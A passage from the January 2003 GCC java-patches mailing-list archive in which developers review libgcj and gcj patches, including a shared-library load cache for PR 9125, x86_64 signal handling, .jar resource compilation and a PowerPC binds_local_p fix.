<87vg0ip140.fsf@fleche.redhat.com> Lines: 93 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This patch fixes PR 9125 by adding a cache. This lets us check whether we've loaded a given shared library. Anybody have any comments on this? It doesn't try to do any kind of cache invalidation. So, if you have a long-running process and you install a new .so file, it might not ever get loaded. Do you think this a serious problem? Tom Index: ChangeLog from Tom Tromey Fix for PR libgcj/9125: * gnu/gcj/runtime/natVMClassLoader.cc (findClass): Find Runtime object outside of loop. Use tried_libraries. * gnu/gcj/runtime/VMClassLoader.java (tried_libraries): New field. Index: gnu/gcj/runtime/VMClassLoader.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/runtime/VMClassLoader.java,v retrieving revision 1.9 diff -u -r1.9 VMClassLoader.java --- gnu/gcj/runtime/VMClassLoader.java 9 Dec 2002 00:03:59 -0000 1.9 +++ gnu/gcj/runtime/VMClassLoader.java 15 Jan 2003 23:24:35 -0000 @@ -1,4 +1,4 @@ -/* Copyright (C) 1999, 2001, 2002 Free Software Foundation +/* Copyright (C) 1999, 2001, 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -12,6 +12,7 @@ import java.io.*; import java.util.StringTokenizer; +import java.util.HashSet; import java.net.URL; public final class VMClassLoader extends java.net.URLClassLoader @@ -67,6 +68,9 @@ protected native Class findClass(String name) throws java.lang.ClassNotFoundException; + // This keeps track of shared libraries we've already tried to load. + private HashSet tried_libraries = new HashSet(); + // The only VMClassLoader that can exist. - public static VMClassLoader instance = new VMClassLoader (); + public static VMClassLoader instance = new VMClassLoader(); } Index: gnu/gcj/runtime/natVMClassLoader.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/runtime/natVMClassLoader.cc,v retrieving revision 1.1 diff -u -r1.1 natVMClassLoader.cc --- gnu/gcj/runtime/natVMClassLoader.cc 11 Dec 2002 03:15:14 -0000 1.1 +++ gnu/gcj/runtime/natVMClassLoader.cc 15 Jan 2003 23:24:35 -0000 @@ -1,6 +1,6 @@ // Native code for VMClassLoader -/* Copyright (C) 2002 Free Software Foundation +/* Copyright (C) 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -18,6 +18,7 @@ #include #include #include +#include jclass gnu::gcj::runtime::VMClassLoader::findClass (jstring name) @@ -41,11 +42,17 @@ cn = name->substring (0, ci); jstring so_base_name = (sb->append (cn)->toString ())->replace ('.', '-'); + using namespace ::java::lang; + Runtime *rt = Runtime::getRuntime(); + // Compare against `3' because that is the length of "lib". while (! klass && so_base_name && so_base_name->length() > 3) { - using namespace ::java::lang; - Runtime *rt = Runtime::getRuntime(); + // If we've already tried this name, we're done. + if (tried_libraries->contains(so_base_name)) + break; + tried_libraries->add(so_base_name); + jboolean loaded = rt->loadLibraryInternal (so_base_name); jint nd = so_base_name->lastIndexOf ('-'); From java-patches-return-5867-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 21 23:02:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13449 invoked by alias); 21 Jan 2003 23:02:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13114 invoked from network); 21 Jan 2003 23:02:53 -0000 Received: from unknown (HELO mx2.redhat.com) (12.150.115.133) by 172.16.49.205 with SMTP; 21 Jan 2003 23:02:53 -0000 Received: from int-mx2.corp.redhat.com (int-mx2.corp.redhat.com [172.16.27.26]) by mx2.redhat.com (8.11.6/8.11.6) with ESMTP id h0LMvX106376 for ; Tue, 21 Jan 2003 17:57:33 -0500 Received: from potter.sfbay.redhat.com (potter.sfbay.redhat.com [172.16.27.15]) by int-mx2.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h0LN2in03110; Tue, 21 Jan 2003 18:02:44 -0500 Received: from dhcp-172-16-25-234.sfbay.redhat.com (dhcp-172-16-25-234.sfbay.redhat.com [172.16.25.234]) by potter.sfbay.redhat.com (8.11.6/8.11.6) with ESMTP id h0LN2iE17494; Tue, 21 Jan 2003 15:02:44 -0800 Subject: Re: Patch: RFC: PR 9125 From: Anthony Green To: Tom Tromey Cc: Java Patch List In-Reply-To: <87vg0ip140.fsf@fleche.redhat.com> References: <87vg0ip140.fsf@fleche.redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: 21 Jan 2003 15:05:34 -0800 Message-Id: <1043190334.1466.29.camel@escape> Mime-Version: 1.0 On Tue, 2003-01-21 at 14:52, Tom Tromey wrote: > Anybody have any comments on this? > It doesn't try to do any kind of cache invalidation. So, if you have > a long-running process and you install a new .so file, it might not > ever get loaded. Do you think this a serious problem? This might cause problems for application servers where you're tweaking jsp code and building .so files on the fly. Would it be OK to add a system property to enable/disable this behaviour? AG From java-patches-return-5868-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 22 02:38:30 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 18462 invoked by alias); 22 Jan 2003 02:38:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 18449 invoked from network); 22 Jan 2003 02:38:30 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 172.16.49.205 with SMTP; 22 Jan 2003 02:38:30 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h0M2cWH13886; Tue, 21 Jan 2003 21:38:32 -0500 Date: Tue, 21 Jan 2003 21:38:32 -0500 (EST) From: Jeff Sturm To: Tom Tromey cc: Java Patch List , Gcc Patch List Subject: Re: Patch: make gcj compile all files in .jar In-Reply-To: <87adhutj6s.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 21 Jan 2003, Tom Tromey wrote: > This patch changes gcj to compile all the files it finds in a .jar > file. .class files are compiled as code, other files are compiled as > resources. I have to say, what a great idea... I don't know how many times I've pulled a .jar file apart and written a Makefile to do just that. Thanks! Jeff From java-patches-return-5869-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 22 16:53:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15640 invoked by alias); 22 Jan 2003 16:53:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15627 invoked from network); 22 Jan 2003 16:53:03 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 22 Jan 2003 16:53:03 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-20.rdu.redhat.com [172.16.50.20]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 51CEEABAF8; Wed, 22 Jan 2003 16:53:01 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0MGrVh00327; Wed, 22 Jan 2003 16:53:31 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15918.52363.141643.266517@cuddles.cambridge.redhat.com> Date: Wed, 22 Jan 2003 16:53:31 +0000 (GMT) To: java-patches@gcc.gnu.org Cc: Jakub Jelinek Subject: x86_64 fixes 32-bit mode libgcj doesn't work on x86_64 at the moment, and it doesn't even build. This patch makes it work, with more improvements to come later. I'll check this in to trunk and 3.3 branch. Andrew. 2003-01-22 Andrew Haley * x86_64-signal.h: Add simple handler for x86_64 32-bit mode. * configure.host (CHECKREFSPEC): Define for x86_64. Index: configure.host =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.host,v retrieving revision 1.23.2.8.4.2 diff -c -2 -p -r1.23.2.8.4.2 configure.host *** configure.host 17 Jan 2003 18:47:30 -0000 1.23.2.8.4.2 --- configure.host 22 Jan 2003 16:46:21 -0000 *************** case "${host}" in *** 87,90 **** --- 87,91 ---- ;; x86_64-*) + CHECKREFSPEC="%{m32:-fcheck-references}" sysdeps_dir=x86-64 libgcj_flags="${libgcj_flags} -ffloat-store" cvs server: Diffing include Index: include/x86_64-signal.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/x86_64-signal.h,v retrieving revision 1.1.4.1 diff -c -2 -p -r1.1.4.1 x86_64-signal.h *** include/x86_64-signal.h 17 Jan 2003 18:47:31 -0000 1.1.4.1 --- include/x86_64-signal.h 22 Jan 2003 16:46:22 -0000 *************** details. */ *** 17,20 **** --- 17,22 ---- #include + #ifdef __x86_64__ + #define HANDLE_SEGV 1 *************** while (0) *** 80,83 **** * compiled with unwind info. */ #endif /* JAVA_SIGNAL_H */ - --- 82,96 ---- * compiled with unwind info. */ + #else /* __x86_64__ */ + + /* This is for the 32-bit subsystem on on x86-64. Catching signals + doesn't yet work on that target. */ + + #undef HANDLE_SEGV + #undef HANDLE_FPE + + #define INIT_SEGV do {} while (0) + #define INIT_FPE do {} while (0) + + #endif /* __x86_64__ */ #endif /* JAVA_SIGNAL_H */ From java-patches-return-5870-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 22 18:23:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11818 invoked by alias); 22 Jan 2003 18:23:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11772 invoked from network); 22 Jan 2003 18:23:37 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 22 Jan 2003 18:23:37 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-20.rdu.redhat.com [172.16.50.20]) by executor.cambridge.redhat.com (Postfix) with ESMTP id DCEE4ABAFC; Wed, 22 Jan 2003 18:23:34 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0MIO4X00651; Wed, 22 Jan 2003 18:24:04 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15918.57796.598418.275163@cuddles.cambridge.redhat.com> Date: Wed, 22 Jan 2003 18:24:04 +0000 (GMT) To: tromey@redhat.com Cc: Java Patch List , Gcc Patch List Subject: Patch: make gcj compile all files in .jar In-Reply-To: <87adhutj6s.fsf@fleche.redhat.com> References: <87adhutj6s.fsf@fleche.redhat.com> Tom Tromey writes: > > Index: ChangeLog > from Tom Tromey > * gcj.texi (Input and output files): Mention non-class entries. > * decl.c (java_init_decl_processing): Call > init_resource_processing. > * java-tree.h (compile_resource_data, write_resource_constructor, > compile_resource_file, init_resource_processing): Declare. > * config-lang.in (gtfiles): Added resource.c. > * Make-lang.in (gt-java-resource.h): New target. > (JAVA_OBJS): Added resource.o. > (java/resource.o): New target. > * resource.c: New file. > * class.c (compile_resource_file): Moved to resource.c. > (registerResource_libfunc): Likewise. > (utf8_decl_list): Mark with GTY; now static. > * jcf-parse.c (classify_zip_file): New function. > (parse_zip_file_entries): Use it; compile .properties files. > (process_zip_dir): Use classify_zip_file and compute_class_name. > Don't write class name into zip directory. > (java_parse_file): Call write_resource_constructor. > (compute_class_name): New function. > * jcf-io.c (read_zip_member): Reindented. OK for trunk. Andrew. From java-patches-return-5871-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 22 18:23:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12299 invoked by alias); 22 Jan 2003 18:23:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12280 invoked from network); 22 Jan 2003 18:23:48 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 22 Jan 2003 18:23:48 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (NPlex 5.5.060) (authenticated as toa@pop.agri.ch) id 3E1BCDEE00081DB1 for java-patches@gcc.gnu.org; Wed, 22 Jan 2003 19:23:47 +0100 Message-ID: <3E2EE1B2.3090204@pop.agri.ch> Date: Wed, 22 Jan 2003 19:23:46 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: java-patches Subject: darwin: can_unwind_signal = no Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I'd like to see this patchlet in both, 3.3 and trunk if possible. It disables can_unwind_signal since darwin lacks the MD_FALLBACK_FRAME_STATE_FOR macro. Tested on 3.3 and 3.4 Andreas 2003-01-22 Andreas Tobler * libjava/configure.host: Disable can_unwind_signal on darwin. --- gcc/libjava/configure.host Wed Jan 22 19:02:18 2003 +++ gcc.old/libjava/configure.host Wed Jan 22 19:19:12 2003 @@ -167,6 +166,7 @@ *-*-darwin*) enable_hash_synchronization_default=no slow_pthread_self= + can_unwind_signal=no ;; *-*-freebsd*) slow_pthread_self= From java-patches-return-5872-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 22 18:24:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12727 invoked by alias); 22 Jan 2003 18:24:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12711 invoked from network); 22 Jan 2003 18:24:07 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 22 Jan 2003 18:24:07 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-20.rdu.redhat.com [172.16.50.20]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 445AFABAFC; Wed, 22 Jan 2003 18:24:05 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0MIOZP00656; Wed, 22 Jan 2003 18:24:35 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15918.57827.200028.26018@cuddles.cambridge.redhat.com> Date: Wed, 22 Jan 2003 18:24:35 +0000 (GMT) To: tromey@redhat.com Cc: Java Patch List , Gcc Patch List Subject: Patch: abort if interface call made on non-interface method In-Reply-To: <87el76tjns.fsf@fleche.redhat.com> References: <87el76tjns.fsf@fleche.redhat.com> Tom Tromey writes: > > Index: ChangeLog > from Tom Tromey > * expr.c (build_invokeinterface): Abort if method's context is not > an interface. OK. Andrew. From java-patches-return-5873-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 22 20:48:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30241 invoked by alias); 22 Jan 2003 20:48:04 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30233 invoked from network); 22 Jan 2003 20:48:03 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 22 Jan 2003 20:48:03 -0000 Received: from fleche.redhat.com (tq0220.peakpeak.com [207.174.177.220]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id NAA23656; Wed, 22 Jan 2003 13:48:01 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C6FF54F8073; Wed, 22 Jan 2003 13:45:38 -0700 (MST) To: Andreas Tobler Cc: java-patches Subject: Re: darwin: can_unwind_signal = no References: <3E2EE1B2.3090204@pop.agri.ch> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Don't SANFORIZE me!! Date: 22 Jan 2003 13:45:38 -0700 In-Reply-To: <3E2EE1B2.3090204@pop.agri.ch> Message-ID: <87lm1clxql.fsf@fleche.redhat.com> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andreas" == Andreas Tobler writes: Andreas> I'd like to see this patchlet in both, 3.3 and trunk if possible. Andreas> It disables can_unwind_signal since darwin lacks the Andreas> MD_FALLBACK_FRAME_STATE_FOR macro. I think this is fine. What is your paperwork status? We'd like to give you write-after-permission access so that you can check things in yourself. If your paperwork is all in, let me know and I'll point you to the form. Tom From java-patches-return-5874-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 22 22:35:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27709 invoked by alias); 22 Jan 2003 22:35:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27699 invoked from network); 22 Jan 2003 22:35:11 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 22 Jan 2003 22:35:11 -0000 Received: from fleche.redhat.com (tq0220.peakpeak.com [207.174.177.220]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id PAA19463; Wed, 22 Jan 2003 15:35:09 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 2A5014F8073; Wed, 22 Jan 2003 15:32:37 -0700 (MST) To: Anthony Green Cc: Java Patch List Subject: Re: Patch: RFC: PR 9125 References: <87vg0ip140.fsf@fleche.redhat.com> <1043190334.1466.29.camel@escape> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: My EARS are GONE!! Date: 22 Jan 2003 15:32:35 -0700 In-Reply-To: <1043190334.1466.29.camel@escape> Message-ID: <87el74ke7w.fsf@fleche.redhat.com> Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Anthony" == Anthony Green writes: Anthony> This might cause problems for application servers where Anthony> you're tweaking jsp code and building .so files on the fly. That was my concern as well, but I didn't know whether this scenario showed up in the wild. Does it? Would an application server call, say, Class.forName, have it fail, and then later call it and expect it to succeed? I suppose it is possible if the admin is installing a new .so in response to, say, a "couldn't find class foo" note in the web server's log file. Anthony> Would it be OK to add a system property to enable/disable Anthony> this behaviour? I wouldn't mind, though I'd prefer to find some other solution. This seems too much like adding a "make libgcj work" switch. One idea would be to just leave things as they are. (By default this is what we'll do for the release, since things aren't any worse now than they were before.) Another idea would be to somehow augment the cache to check for directories changing. This may be expensive too though, not to mention hard to implement (is there a way to find the list of directories that dlopen searches?). Tom From java-patches-return-5875-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 22 23:13:53 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16059 invoked by alias); 22 Jan 2003 23:13:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15953 invoked from network); 22 Jan 2003 23:13:51 -0000 Received: from unknown (HELO linuxpc1.lauterbach.com) (213.70.137.66) by 172.16.49.205 with SMTP; 22 Jan 2003 23:13:51 -0000 Received: (qmail 13656 invoked by uid 82); 22 Jan 2003 23:13:50 -0000 Received: from Franz.Sirl-kernel@lauterbach.com by linuxpc1 by uid 80 with qmail-scanner-1.15 (inocmd32: virsig.da0 23.58.28 . spamassassin: 2.43-cvs. Clear:. Processed in 0.942566 secs); 22 Jan 2003 23:13:50 -0000 Received: from dsl-212-144-221-118.arcor-ip.net (212.144.221.118) by linuxpc1.lauterbach.com with SMTP; 22 Jan 2003 23:13:49 -0000 From: Franz Sirl To: Jakub Jelinek Subject: Re: [PATCH] Fix PPC32 local checks in 3.2 (was: Re: [libffi] closures for sparc) Date: Thu, 23 Jan 2003 00:13:46 +0100 User-Agent: KMail/1.5 Cc: Jeff Sturm , Andreas Tobler , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org References: <3E16BD22.4090905@pop.agri.ch> <200301210034.17622@enzo.bigblue.local> <20030120184035.L10012@devserv.devel.redhat.com> In-Reply-To: <20030120184035.L10012@devserv.devel.redhat.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_qWyL+H/wgUT0XYI" Message-Id: <200301230013.46696@enzo.bigblue.local> --Boundary-00=_qWyL+H/wgUT0XYI Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline On Tuesday 21 January 2003 00:40, Jakub Jelinek wrote: > On Tue, Jan 21, 2003 at 12:34:17AM +0100, Franz Sirl wrote: > > OK to commit to gcc-3_2-branch? > > 3.2 branch has no __attribute__((visibility)) stuff... > Only gcc-3_2-rhl8-branch has, but its implementation is slightly different > from 3.3/3.4 stuff. OK, I thought I grepped in the right tree :-). I removed that hunk and re-regtested and rechecked with glibc, all is still fine. OK to commit to gcc-3_2-branch? Franz. * config/rs6000/rs6000.c (rs6000_binds_local_p): New functiion. (rs6000_encode_section_info): Use it. --Boundary-00=_qWyL+H/wgUT0XYI Content-Type: text/plain; charset="utf-8"; name="gcc-ppc-binds_local_p-2.patch" Content-Transfer-Encoding: 8bit Content-Disposition: attachment; filename="gcc-ppc-binds_local_p-2.patch" Index: gcc/config/rs6000/rs6000.c =================================================================== RCS file: /cvsroot/gcc/gcc/gcc/config/rs6000/rs6000.c,v retrieving revision 1.291.2.13.2.5.2.4 diff -u -p -r1.291.2.13.2.5.2.4 rs6000.c --- gcc/config/rs6000/rs6000.c 8 Dec 2002 19:39:16 -0000 1.291.2.13.2.5.2.4 +++ gcc/config/rs6000/rs6000.c 22 Jan 2003 23:02:13 -0000 @@ -155,6 +155,7 @@ static void rs6000_elf_asm_out_destructo #ifdef OBJECT_FORMAT_COFF static void xcoff_asm_named_section PARAMS ((const char *, unsigned int)); #endif +static bool rs6000_binds_local_p PARAMS ((tree)); static int rs6000_adjust_cost PARAMS ((rtx, rtx, rtx, int)); static int rs6000_adjust_priority PARAMS ((rtx, int)); static int rs6000_issue_rate PARAMS ((void)); @@ -10947,7 +10948,45 @@ rs6000_unique_section (decl, reloc) DECL_SECTION_NAME (decl) = build_string (len, string); } - + +static bool +rs6000_binds_local_p (exp) + tree exp; +{ + bool local_p; + tree attr; + + /* A non-decl is an entry in the constant pool. */ + if (!DECL_P (exp)) + local_p = true; + /* Static variables are always local. */ + else if (! TREE_PUBLIC (exp)) + local_p = true; + /* Otherwise, variables defined outside this object may not be local. */ + else if (DECL_EXTERNAL (exp)) + local_p = false; + /* Linkonce and weak data are never local. */ + else if (DECL_ONE_ONLY (exp) || DECL_WEAK (exp)) + local_p = false; + /* If PIC, then assume that any global name can be overridden by + * symbols resolved from other modules. */ + else if (flag_pic || rs6000_flag_pic) + local_p = false; + /* Uninitialized COMMON variable may be unified with symbols + * resolved from other modules. */ + else if (DECL_COMMON (exp) + && (DECL_INITIAL (exp) == NULL + || DECL_INITIAL (exp) == error_mark_node)) + local_p = false; + /* Otherwise we're left with initialized (or non-common) global data + * which is of necessity defined locally. */ + else + local_p = true; + + return local_p; +} + + /* If we are referencing a function that is static or is known to be in this file, make the SYMBOL_REF special. We can use this to indicate that we can branch to this function without emitting a no-op after the @@ -10963,12 +11002,7 @@ rs6000_encode_section_info (decl) if (TREE_CODE (decl) == FUNCTION_DECL) { rtx sym_ref = XEXP (DECL_RTL (decl), 0); - if (!TREE_PUBLIC (decl) - || (!DECL_EXTERNAL (decl) - && !DECL_ONE_ONLY (decl) - && !DECL_WEAK (decl) - && !flag_pic - && !rs6000_flag_pic)) + if (rs6000_binds_local_p (decl)) SYMBOL_REF_FLAG (sym_ref) = 1; if (DEFAULT_ABI == ABI_AIX) @@ -10987,10 +11021,14 @@ rs6000_encode_section_info (decl) && DEFAULT_ABI == ABI_V4 && TREE_CODE (decl) == VAR_DECL) { + rtx sym_ref = XEXP (DECL_RTL (decl), 0); int size = int_size_in_bytes (TREE_TYPE (decl)); tree section_name = DECL_SECTION_NAME (decl); const char *name = (char *)0; int len = 0; + + if (rs6000_binds_local_p (decl)) + SYMBOL_REF_FLAG (sym_ref) = 1; if (section_name) { --Boundary-00=_qWyL+H/wgUT0XYI-- From java-patches-return-5876-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Jan 22 23:37:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27340 invoked by alias); 22 Jan 2003 23:37:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27333 invoked from network); 22 Jan 2003 23:37:50 -0000 Received: from unknown (HELO tatooine.pearceenterprises.com) (66.142.116.66) by 172.16.49.205 with SMTP; 22 Jan 2003 23:37:50 -0000 Received: (qmail 18895 invoked from network); 22 Jan 2003 23:37:49 -0000 Received: from katana.pearceenterprises.com (66.142.116.71) by tatooine.pearceenterprises.com with SMTP; 22 Jan 2003 23:37:49 -0000 Subject: Re: Patch: RFC: PR 9125 From: Oscar Pearce To: Java Patch List In-Reply-To: <1043190334.1466.29.camel@escape> References: <87vg0ip140.fsf@fleche.redhat.com> <1043190334.1466.29.camel@escape> Content-Type: text/plain Organization: Pearce Enterprises, Inc. Message-Id: <1043278669.21659.212.camel@katana> Mime-Version: 1.0 Date: 22 Jan 2003 17:37:49 -0600 Content-Transfer-Encoding: 7bit On Tue, 2003-01-21 at 17:05, Anthony Green wrote: > On Tue, 2003-01-21 at 14:52, Tom Tromey wrote: > > Anybody have any comments on this? > > It doesn't try to do any kind of cache invalidation. So, if you have > > a long-running process and you install a new .so file, it might not > > ever get loaded. Do you think this a serious problem? > > This might cause problems for application servers where you're tweaking > jsp code and building .so files on the fly. > I was thinking about this (for what little that's worth) and I'm not sure that this'll come up in practice. If you're redeploying a webapp (for instance), you would expect the app server to create a new ClassLoader to serve the newly deployed webapp. Actually, thinking about it a little more, wouldn't it make more sense to cache only successfully loaded .so files? > Would it be OK to add a system property to enable/disable this > behaviour? > > AG Oscar From java-patches-return-5877-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Jan 23 02:05:57 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2434 invoked by alias); 23 Jan 2003 02:05:56 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2407 invoked from network); 23 Jan 2003 02:05:51 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 23 Jan 2003 02:05:51 -0000 Received: from fleche.redhat.com (tq0220.peakpeak.com [207.174.177.220]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA04606; Wed, 22 Jan 2003 19:05:48 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 58C874F8057; Wed, 22 Jan 2003 19:02:51 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: gcj warning fix From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I want to dress you up as TALLULAH BANKHEAD and cover you with VASELINE and WHEAT THINS.. Date: 22 Jan 2003 19:02:51 -0700 Message-ID: <873cnkk4hg.fsf@fleche.redhat.com> Lines: 99 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii My resource compilation patch came at the wrong moment, and I neglected to de-PARAMS it. This patch removes the uses of PARAMS, adds prototypes to resource.c, and fixes a warning I introduced. Hopefully the new -Werror code will help prevent me from doing this again. Ok for mainline? Tom Index: ChangeLog from Tom Tromey * java-tree.h: Don't use PARAMS. * resource.c: Add prototypes for all functions. (write_resource_constructor): Use `const char *' to avoid warning. Index: java-tree.h =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/java-tree.h,v retrieving revision 1.170 diff -u -r1.170 java-tree.h --- java-tree.h 22 Jan 2003 20:51:55 -0000 1.170 +++ java-tree.h 23 Jan 2003 02:03:27 -0000 @@ -1299,11 +1302,10 @@ extern void java_inlining_merge_static_initializers (tree, void *); extern void java_inlining_map_static_initializers (tree, void *); -extern void compile_resource_data PARAMS ((char *name, const char *buffer, - int length)); -extern void write_resource_constructor PARAMS ((void)); -extern void compile_resource_file PARAMS ((char *name, const char *filename)); -extern void init_resource_processing PARAMS ((void)); +extern void compile_resource_data (char *name, const char *buffer, int length); +extern void write_resource_constructor (void); +extern void compile_resource_file (char *name, const char *filename); +extern void init_resource_processing (void); #define DECL_FINAL(DECL) DECL_LANG_FLAG_3 (DECL) Index: resource.c 